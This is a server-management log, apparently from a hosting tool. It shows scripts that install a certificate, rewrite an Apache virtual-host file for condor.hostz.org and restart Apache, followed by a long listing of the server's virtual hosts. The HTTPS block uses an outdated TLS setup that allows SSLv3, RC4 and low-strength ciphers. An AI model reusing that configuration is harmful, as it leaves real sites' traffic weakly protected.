TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-11-14 06:00:46:
chmod 755 /tmp/pkp337060; /tmp/pkp337060; rm /tmp/pkp337060
2025-11-14 06:00:46:
dir=/etc/ssl/certs
2025-11-14 06:00:46:
PUT: /tmp/pkp510907
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/hostz_condor_org.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-11-14 06:00:46:
chmod 755 /tmp/pkp510907; /tmp/pkp510907; rm /tmp/pkp510907
2025-11-14 06:00:46:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hostz_condor_org.conf 40
<VirtualHost *:80>
ServerName condor.hostz.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hostz_condor
<Directory /var/www/hostz_condor>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hostz/condor_access.log combined
ErrorLog /var/log/apache2/hostz/condor_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName condor.hostz.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/452589c154b484450eedc2df554d68f3.crt
DocumentRoot /var/www/hostz_condor
<Directory /var/www/hostz_condor>
Options +FollowSymLinks -MultiViews
AllowOverride All
<Files "index.html">
FileETag None
Header unset ETag
Header set Cache-Control "max-age=0, no-cache, no-store, must-revalidate"
Header set Pragma "no-cache"
Header set Expires "Wed, 11 Jan 1984 05:00:00 GMT"
</Files>
Order allow,deny
allow from all
</Directory>
<Location /server-status>
SetHandler server-status
AuthType Basic
AuthName "Server Status"
AuthUserFile /var/www/hostz_condor/.htpasswd
require valid-user
</Location>
CustomLog /var/log/apache2/hostz/condor_secure_access.log combined
ErrorLog /var/log/apache2/hostz/condor_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-11-14 06:00:46:
PUT: /tmp/pkp151937
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hostz_condor_org.conf
TARGET=/etc/apache2/sites-enabled/hostz_condor_org.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName condor.hostz.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hostz_condor
<Directory /var/www/hostz_condor>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hostz/condor_access.log combined
ErrorLog /var/log/apache2/hostz/condor_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName condor.hostz.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/452589c154b484450eedc2df554d68f3.crt
DocumentRoot /var/www/hostz_condor
<Directory /var/www/hostz_condor>
Options +FollowSymLinks -MultiViews
AllowOverride All
<Files "index.html">
FileETag None
Header unset ETag
Header set Cache-Control "max-age=0, no-cache, no-store, must-revalidate"
Header set Pragma "no-cache"
Header set Expires "Wed, 11 Jan 1984 05:00:00 GMT"
</Files>
Order allow,deny
allow from all
</Directory>
<Location /server-status>
SetHandler server-status
AuthType Basic
AuthName "Server Status"
AuthUserFile /var/www/hostz_condor/.htpasswd
require valid-user
</Location>
CustomLog /var/log/apache2/hostz/condor_secure_access.log combined
ErrorLog /var/log/apache2/hostz/condor_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/hostz_condor_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/hostz_condor_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hostz_condor_org.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/hostz_condor_org.conf= 1'
fi
2025-11-14 06:00:46:
chmod 755 /tmp/pkp151937; /tmp/pkp151937; rm /tmp/pkp151937
2025-11-14 06:00:46:
2025-11-14 06:00:46:
PUT: /tmp/pkp886320
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-11-14 06:00:46:
chmod 755 /tmp/pkp886320; /tmp/pkp886320; rm /tmp/pkp886320
2025-11-14 06:00:46:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-11-14 06:00:46: Establishing a connection
2025-11-14 06:00:46:
PUT: /tmp/pkp917188
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-11-14 06:00:47:
chmod 755 /tmp/pkp917188; /tmp/pkp917188; rm /tmp/pkp917188
2025-11-14 06:00:47:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
alias myapp.care
port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
alias www.cn-dego.myapp.care
port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
alias www.d-oak.myapp.care
port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
alias www.ma1-acrp.myapp.care
port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
alias www.ma1-anfr.myapp.care
port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
alias www.ma1-anin.myapp.care
port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
alias www.ma1-ankp.myapp.care
port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
alias www.ma1-anrp.myapp.care
port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
alias www.ma1-arcr.myapp.care
port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
alias www.ma1-asst.myapp.care
port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
alias www.ma1-chel.myapp.care
port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
alias www.ma1-cybb.myapp.care
port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
alias www.ma1-epas.myapp.care
port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
alias www.ma1-fass.myapp.care
port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
alias www.ma1-ldhr.myapp.care
port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
alias www.ma1-lsst.myapp.care
port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
alias www.ma1-mtfp.myapp.care
port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
alias www.ma1-mvrc.myapp.care
port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
alias www.ma1-octf.myapp.care
port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
alias www.ma1-ovin.myapp.care
port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
alias www.ma1-pfer.myapp.care
port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
alias www.ma1-prls.myapp.care
port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
alias www.ma1-rcl.myapp.care
port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
alias www.ma1-rorp.myapp.care
port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
alias www.ma1-savr.myapp.care
port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
alias www.ma1-shem.myapp.care
port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
alias www.ma1-sspr.myapp.care
port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
alias www.ma1-tosr.myapp.care
port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
alias www.ma1-tylo.myapp.care
port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
alias www.ma1-typa.myapp.care
port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
alias www.ma1-tyto.myapp.care
port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
alias www.ma1-utfa.myapp.care
port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
alias www.ma1-vasc.myapp.care
port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
alias www.ma1-vasr.myapp.care
port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
alias www.ma2-acrp.myapp.care
port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
alias www.ma2-anar.myapp.care
port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
alias www.ma2-anfr.myapp.care
port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
alias www.ma2-anin.myapp.care
port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
alias www.ma2-anrp.myapp.care
port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
alias www.ma2-buni.myapp.care
port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
alias www.ma2-chel.myapp.care
port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
alias www.ma2-hamm.myapp.care
port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
alias www.ma2-hind.myapp.care
port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
alias www.ma2-lcl.myapp.care
port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
alias www.ma2-mdfu.myapp.care
port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
alias www.ma2-mtfp.myapp.care
port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
alias www.ma2-rcl.myapp.care
port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
alias www.pai-ctsr.myapp.care
alias 563309.myapp.care
alias 179554.myapp.care
port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
alias www.pai-lc.myapp.care
port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
alias www.pai-ldhr.myapp.care
alias 296550.myapp.care
alias 144327.myapp.care
alias 654784.myapp.care
port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
alias 847670.myapp.care
alias 573398.myapp.care
port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
alias www.pai-lsst.myapp.care
alias 338088.myapp.care
alias 083491.myapp.care
port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
alias www.pai-rco.myapp.care
port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
alias www.sma1-lgb.myapp.care
port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
alias www.sma1-lrygb.myapp.care
port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
alias www.sma1-lsg.myapp.care
port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
alias www.sma1-pcnl.myapp.care
port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
alias www.test.myapp.care
port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
alias www.version2.myapp.care
wild alias *.myapp.care
port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
port 80 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:2)
port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
alias live.patientapps.net
port 80 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:2)
port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
alias www.patientapps.net
port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
alias store.patientapps.com
alias store.patientapps.co
port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
alias www.patientappsinc.com
alias patientapps.com
alias www.patientapps.com
*:443 is a NameVirtualHost
default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
alias myapp.care
port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
alias www.cn-dego.myapp.care
port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
alias www.d-oak.myapp.care
port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
alias www.ma1-acrp.myapp.care
port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
alias www.ma1-anfr.myapp.care
port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
alias www.ma1-anin.myapp.care
port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
alias www.ma1-ankp.myapp.care
port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
alias www.ma1-anrp.myapp.care
port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
alias www.ma1-arcr.myapp.care
port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
alias www.ma1-asst.myapp.care
port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
alias www.ma1-chel.myapp.care
port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
alias www.ma1-cybb.myapp.care
port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
alias www.ma1-dego.myapp.care
port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
alias www.ma1-epas.myapp.care
port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
alias www.ma1-fass.myapp.care
port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
alias www.ma1-ldhr.myapp.care
port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
alias www.ma1-lsst.myapp.care
port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
alias www.ma1-mtfp.myapp.care
port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
alias www.ma1-mvrc.myapp.care
port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
alias www.ma1-octf.myapp.care
port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
alias www.ma1-ovin.myapp.care
port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
alias www.ma1-pfer.myapp.care
port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
alias www.ma1-prls.myapp.care
port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
alias www.ma1-rcl.myapp.care
port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
alias www.ma1-rorp.myapp.care
port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
alias www.ma1-savr.myapp.care
port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
alias www.ma1-shem.myapp.care
port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
alias www.ma1-sspr.myapp.care
port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
alias www.ma1-tosr.myapp.care
port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
alias www.ma1-tylo.myapp.care
port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
alias www.ma1-typa.myapp.care
port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
alias www.ma1-tyto.myapp.care
port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
alias www.ma1-utfa.myapp.care
port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
alias www.ma1-vasc.myapp.care
port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
alias www.ma1-vasr.myapp.care
port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
alias www.ma2-acrp.myapp.care
port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
alias www.ma2-anar.myapp.care
port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
alias www.ma2-anfr.myapp.care
port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
alias www.ma2-anin.myapp.care
port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
alias www.ma2-anrp.myapp.care
port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
alias www.ma2-buni.myapp.care
port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
alias www.ma2-chel.myapp.care
port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
alias www.ma2-hamm.myapp.care
port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
alias www.ma2-hind.myapp.care
port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
alias www.ma2-lcl.myapp.care
port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
alias www.ma2-mdfu.myapp.care
port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
alias www.ma2-mtfp.myapp.care
port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
alias www.ma2-rcl.myapp.care
port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
alias www.pai-ctsr.myapp.care
alias 563309.myapp.care
alias 179554.myapp.care
